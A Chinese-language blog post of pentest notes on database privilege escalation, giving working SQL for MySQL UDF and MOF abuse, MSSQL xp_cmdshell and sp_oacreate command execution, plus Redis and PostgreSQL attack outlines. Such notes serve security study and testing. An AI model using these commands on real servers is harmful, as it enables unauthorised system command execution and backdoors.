提权-数据库

数据库提权

前提条件

  • 服务器开启数据库服务及获取到最高权限用户密码。
  • 除 Access 数据库外,其他数据库基本都存在数据库提权的可能

数据库信息收集

  • 配置文件
  • 存储文件
  • 暴力破解
  • 其他方式

不同数据库提权方法

MYSQL

UDF

条件:

  • mysql < 5.0,导出路径随意。
  • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
  • 掌握mysql数据库的账户,并且的insert和delete权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

使用:

  1. 把含义自定义函数(如执行系统命令函数“sys_eval”)的dll或者so文件放入特定文件夹下。
  2. 声明引入这个dll文件中的自定义函数。(linux环境下导出lib_mysqludf_sys.so,Windows下导出dll文件)
    CREATE FUNCTION 函数名 RETURNS STRING SONAME '导出的dll';
    3.使用自定义的函数。
    select sys_eval('系统命令');
    删除函数
    drop function sys_eval;
MOF
  • MOF 知识点:
    • MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。(基于 MYSQL 特性的安全问题)
  • 导出自定义 mof 文件到系统目录加载
  • select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

启动项

这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

- 启动项知识点:(基于配合操作系统自启动)
- 导出自定义可执行文件到启动目录配合重启执行
- 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

MSSQL

xp_cmdshell

xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。

启用:

1
2
3
4
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:

1
2
3
4
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll‘

sp_oacreate

主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

关闭:

1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

执行:

1
2
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

sp_oamethod

沙盒模式
映像劫持

redis

  • 利用计划任务执行命令反弹shell
  • 写ssh-keygen公钥使用私钥登陆
  • 低权限写webshell

postgresql

  • cve-2018-1058
  • cve-2019-9193

提权-数据库
https://coutcin-xw.github.io/2022/04/24/提权-数据库/
作者
CoutCin
发布于
2022年4月24日
许可协议